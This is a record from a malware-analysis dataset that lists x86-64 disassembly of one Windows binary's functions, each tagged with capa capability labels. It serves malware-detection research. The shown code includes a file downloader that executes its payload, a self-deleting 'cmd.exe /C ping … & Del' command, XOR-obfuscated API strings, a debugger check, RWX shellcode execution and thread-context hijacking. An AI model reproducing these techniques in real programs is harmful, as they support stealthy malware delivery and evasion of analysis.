joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000e920
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
mov rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.14000e730
nop
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.14000e730
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r8, qword [rsp + 0x40]
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000e9e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e9e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], si
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x14000ea40
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ea3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], si
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000ea8d
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14000ea88
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000eb06
mov rcx, r8
call fcn.14004dbe0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], send
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000ead2
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000eacd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000eb0d
mov rcx, r8
call fcn.14004dbe0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14004dbc0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000ee10
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rbx, rcx
mov qword [rsp + 0x78], rcx
mov dword [rsp + 0x50], 0x144727d
mov dword [rsp + 0x54], 0xa04720d
mov dword [rsp + 0x58], 0x1000765
xor edi, edi
mov eax, edi
nop dword [rax]
lea ecx, [rax + 0x1e]
xor byte [rsp + rax + 0x50], cl
inc rax
cmp rax, 0xa
jb 0x14000ee60
mov byte [rsp + 0x5b], dil
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], dil
mov r8d, 0xa
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.14001f770
nop
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000eeab
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp - 0x80]
call fcn.14001f8d0
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], 1
mov word [rbp - 0x20], di
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000ef55
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14000ef93
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ef8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000efd9
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000efd4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000f009
mov rcx, r8
call fcn.14004dbe0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14004dbc0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000f670
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x8c0]
sub rsp, 0x9c0
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x78]
call fcn.14001d590
nop
mov r8, rax
lea rcx, [rsp + 0x50]
call fcn.140021630
nop
lea r8, [0x14005a838]
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140021770
nop
lea rcx, [rsp + 0x50]
call fcn.14001d520
nop
lea rcx, [rbp - 0x78]
call fcn.14001d520
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.14000e830
nop
lea rcx, [rbp - 0x58]
call fcn.14001d730
mov r9, rax
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x58]
call fcn.14001d6d0
nop
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x50]
call fcn.140020bb0
nop
lea r8, [0x1401c7828]
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140020d50
nop
lea rcx, [rsp + 0x50]
call fcn.14001d930
lea rcx, [rbp + 0x60]
call fcn.14001d8c0
mov r8, rax
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x290]
mov qword [rsp + 0x20], rax
xor edx, edx
lea r9d, [rdx - 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
lea r9, [rbp + 0x290]
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_4___Nul__Del__f__q___s_
mov edx, 0x208
lea rcx, [rbp + 0x4a0]
call fcn.140001eb0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14000f830
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov rdi, rcx
mov qword [rbp - 0x18], rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x10]
call fcn.14001d590
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x10]
call fcn.14000e830
nop
lea rcx, [rbp - 0x10]
call fcn.14001d520
lea rcx, [rbp + 0x10]
call fcn.14001d730
mov r9, rax
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.14001d6d0
nop
lea rcx, [rbp - 0x58]
call fcn.14000b1a0
mov rbx, rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.140020bb0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140020db0
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140020c20
nop
lea rcx, [rsp + 0x68]
call fcn.14001d930
nop
lea rcx, [rbp - 0x78]
call fcn.14001d930
nop
lea rcx, [rbp - 0x58]
call fcn.14001d930
lea rax, [rbp - 0x38]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x38]
call fcn.14001d9d0
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.14001d9d0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000e920
lea r8, [rbp - 0x10]
lea rdx, [0x14005a5b0]
lea rcx, [rsp + 0x48]
call fcn.140020c80
nop
lea r8, [0x14005a5b0]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140020c20
nop
lea rcx, [rsp + 0x48]
call fcn.14001d930
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x30]
call fcn.14001d8d0
mov r8, qword [rax]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14001d8f0
mov rdx, qword [rax]
lea rcx, [rbp + 0x70]
call fcn.140021580
nop
lea rcx, [rbp + 0x70]
call fcn.14001d510
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.14000f670
int3
Function at 0x1400103f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
je 0x140010413
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x1e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x140010400
mov byte [rcx + 9], 0
mov rax, rcx
ret

Function at 0x140010420
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xb], 0
je 0x140010443
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x1e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa
jb 0x140010430
mov byte [rcx + 0xb], 0
mov rax, rcx
ret

Function at 0x140010450
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x23], 0
je 0x140010473
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x1e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x22
jb 0x140010460
mov byte [rcx + 0x23], 0
mov rax, rcx
ret
Function at 0x140011c30
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x510
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rsp + 0x500], rax
mov r14, rcx
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebp, eax
cmp eax, 0x7f00
jl 0x140011c89
nop dword [rax + rax]
cmp ebx, 0x80
jae 0x140011c89
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebp, eax
cmp eax, 0x7f00
jge 0x140011c70
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, eax
cmp eax, 0x7f00
jl 0x140011cb9
nop word [rax + rax]
cmp ebx, 0x80
jae 0x140011cb9
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, eax
cmp eax, 0x7f00
jge 0x140011ca0
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
cmp eax, 0x7f00
jl 0x140011ce9
nop word [rax + rax]
cmp ebx, 0x80
jae 0x140011ce9
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
cmp eax, 0x7f00
jge 0x140011cd0
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cmp eax, 0x7f00
jl 0x140011d0f
cmp ebx, 0x80
jae 0x140011d0f
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cmp eax, 0x7f00
jge 0x140011cf8
shl eax, 8
xor r9d, r9d
movzx r8d, dil
xor edx, edx
or r8d, eax
movzx ecx, bpl
shl r8d, 8
movzx eax, sil
or r8d, eax
mov qword [rsp + 0x28], 0
shl r8d, 8
or r8, rcx
mov dword [rsp + 0x60], 0x10000b
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
lea rdx, [rsp + 0x30]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0xb0], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.14004dbc0
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140011e40
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov rax, qword gs:[0x60]
add rax, 0xbc
je 0x140011e5c
test byte [rax], 0x70
je 0x140011e5c
mov eax, 1
ret
xor eax, eax
ret
Function at 0x140011e80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x20], rax
test rax, rax
je 0x140011efc
movabs rax, 0xc3c3c3c3c3c3c3c3
mov byte [rbx], al
mov edx, dword [rsp + 0x2c]
lea r9, [rsp + 0x58]
mov r8d, 0x140
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140011f11
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14004dbc0
add rsp, 0x70
pop rbx
ret
call rbx
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14004dbc0
add rsp, 0x70
pop rbx
ret
Function at 0x140016af0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp - 0x20], rcx
mov rbx, rcx
cmp edx, 6
ja case.default.0x140016b21
movsxd rax, edx
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x16d64]
add rcx, rdx
jmp rcx
xor ecx, ecx
mov dword [rbp - 0x20], 0x444a7157
mov edx, ecx
mov dword [rbp - 0x1c], 0x41415741
mov word [rbp - 0x18], 0x100
nop dword [rax + rax]
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 8
jb 0x140016b40
mov byte [rbp - 0x17], cl
lea rdx, [rbp - 0x20]
mov r8d, 8
jmp 0x140016d3d
movdqa xmm0, xmmword [0x140066880]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
mov edx, ecx
mov dword [rbp - 0x10], 0x1004a5c
nop word [rax + rax]
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 0x12
jb 0x140016b80
mov byte [rbp - 0xd], cl
lea rdx, [rbp - 0x20]
mov r8d, socket
jmp 0x140016d3d
movdqa xmm0, xmmword [0x140066890]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
mov edx, ecx
mov dword [rbp - 0x10], 0x1004a5c
nop word [rax + rax]
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 0x12
jb 0x140016bc0
mov byte [rbp - 0xd], cl
lea rdx, [rbp - 0x20]
mov r8d, socket
jmp 0x140016d3d
xor ecx, ecx
mov dword [rbp - 0x20], 0x45417052
mov edx, ecx
mov dword [rbp - 0x1c], 0x4c454502
mov dword [rbp - 0x18], 0x4c5a524a
mov word [rbp - 0x14], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 0xc
jb 0x140016c10
mov byte [rbp - 0x13], cl
lea rdx, [rbp - 0x20]
mov r8d, recv
jmp 0x140016d3d
movdqa xmm0, xmmword [0x1400668a0]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
mov edx, ecx
mov dword [rbp - 0x10], 0x1004a5c
nop word [rax + rax]
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 0x12
jb 0x140016c50
mov byte [rbp - 0xd], cl
lea rdx, [rbp - 0x20]
mov r8d, socket
jmp 0x140016d3d
movdqa xmm0, xmmword [0x140066600]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
mov edx, ecx
mov dword [rbp - 0x10], 0x5d594e48
mov dword [rbp - 0xc], 0x514147
mov byte [rbp - 8], 1
nop word [rax + rax]
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 0x17
jb 0x140016ca0
mov byte [rbp - 8], cl
lea rdx, [rbp - 0x20]
mov r8d, reloc.WS2_32.dll_socket
jmp 0x140016d3d
xor ecx, ecx
mov dword [rbp - 0x20], 0x4d4c7e5d
mov edx, ecx
mov dword [rbp - 0x1c], 0x4c454502
mov dword [rbp - 0x18], 0x4c5a524a
mov word [rbp - 0x14], 0x100
nop
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 0xc
jb 0x140016ce0
mov byte [rbp - 0x13], cl
lea rdx, [rbp - 0x20]
mov r8d, recv
jmp 0x140016d3d
xor ecx, ecx
mov dword [rbp - 0x20], 0x4f4b714b
mov edx, ecx
mov dword [rbp - 0x1c], 0x4a544d
mov byte [rbp - 0x18], 1
nop word [rax + rax]
lea eax, [rdx + 0x1e]
xor byte [rbp + rdx - 0x20], al
inc rdx
cmp rdx, 7
jb 0x140016d20
mov byte [rbp - 0x18], cl
lea rdx, [rbp - 0x20]
mov r8d, 7
mov qword [rbx], rcx
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], send
mov byte [rbx], cl
mov rcx, rbx
call fcn.14001f770
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
ret
Function at 0x1400182e0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push rsi
mov rbp, rcx
mov rsi, r8
sub rbp, qword [r8 + 0x30]
je 0x140018467
test byte [r8 + 0x5e], 0x40
jne 0x1400182ff
xor al, al
pop rsi
pop rbp
ret
movzx eax, word [rsi + 0x14]
lea rdx, [rsi + 0x18]
mov r8d, dword [r8 + 0xb0]
add rdx, rax
movzx eax, word [rsi + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x140018467
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140018338
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140018346
add rdx, 0x28
cmp rdx, r9
jb 0x140018326
mov al, 1
pop rsi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov ebx, dword [rdx + 0x14]
sub rbx, rcx
mov qword [rsp + 0x28], r14
mov r14d, dword [rsi + 0xb4]
add rbx, r8
mov qword [rsp + 0x30], r15
lea r15, [0x1401975a0]
add rbx, r15
add r14, rbx
test rbx, rbx
je 0x140018458
cmp rbx, r14
jae 0x140018458
mov qword [rsp + 0x20], rdi
nop dword [rax]
mov eax, dword [rbx + 4]
test eax, eax
je 0x140018453
lea ecx, [rax - 8]
shr ecx, 1
je 0x140018447
lea r11, [rbx + 8]
mov edi, ecx
nop dword [rax]
movzx r8d, word [r11]
movzx eax, r8w
shr ax, 0xc
and r8d, 0x80000fff
jge 0x1400183d2
dec r8d
or r8d, 0xfffff000
inc r8d
cmp ax, 3
je 0x1400183de
cmp ax, 0xa
jne 0x140018436
movzx eax, word [rsi + 0x14]
movzx ecx, word [rsi + 6]
add rax, 0x18
mov r9d, dword [rbx]
add rax, rsi
lea rdx, [rcx + rcx*4]
lea r10, [rax + rdx*8]
cmp rax, r10
jae 0x14001842b
nop dword [rax]
mov edx, dword [rax + 0xc]
cmp r9, rdx
jb 0x140018412
mov ecx, dword [rax + 8]
add ecx, edx
cmp r9, rcx
jb 0x14001841d
add rax, 0x28
cmp rax, r10
jb 0x140018400
jmp 0x14001842b
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r9
add rcx, r15
jne 0x14001842e
mov rcx, r15
movzx eax, r8w
add qword [rax + rcx], rbp
add r11, 2
sub rdi, 1
jne 0x1400183b0
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, r14
jb 0x140018390
mov rdi, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x18]
mov r15, qword [rsp + 0x30]
mov al, 1
pop rsi
pop rbp
ret
Function at 0x1400197f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x18], 0
je 0x140019813
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x1e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x17
jb 0x140019800
mov byte [rcx + 0x18], 0
mov rax, rcx
ret
Function at 0x14001acf0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xe], 0
je 0x14001ad13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x1e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xd
jb 0x14001ad00
mov byte [rcx + 0xe], 0
mov rax, rcx
ret

Function at 0x14001ad20
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 0x14], r8b
je 0x14001ad53
mov ecx, r8d
nop dword [rax]
lea eax, [rcx + 0x1e]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x13
jb 0x14001ad40
mov byte [rdx + 0x14], r8b
lea rcx, [rdx + 0x13]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], send
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14001ad7c
mov r8d, reloc.WS2_32.dll_send
mov rcx, rbx
call fcn.14001f770
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14001ad90
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 0x18], r8b
je 0x14001adc3
mov ecx, r8d
nop dword [rax]
lea eax, [rcx + 0x1e]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x17
jb 0x14001adb0
mov byte [rdx + 0x18], r8b
lea rcx, [rdx + 0x17]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], send
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14001adec
mov r8d, reloc.WS2_32.dll_socket
mov rcx, rbx
call fcn.14001f770
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14001ae00
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x20], rbx
cmp byte [rcx + 0x16], r8b
je 0x14001ae33
mov ecx, r8d
nop dword [rax]
lea eax, [rcx + 0x1e]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x15
jb 0x14001ae20
mov byte [rdx + 0x16], r8b
lea rcx, [rdx + 0x15]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], send
mov byte [rbx], r8b
cmp rdx, rcx
je 0x14001ae5c
mov r8d, socket
mov rcx, rbx
call fcn.14001f770
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14001b160
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x14001b190
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x14001b1b8
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14001b1ba
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14001b213
test ecx, ecx
jle 0x14001b1f3
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14001b213
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14001b213
mov r8, rbx
mov edx, 1
mov rcx, r14
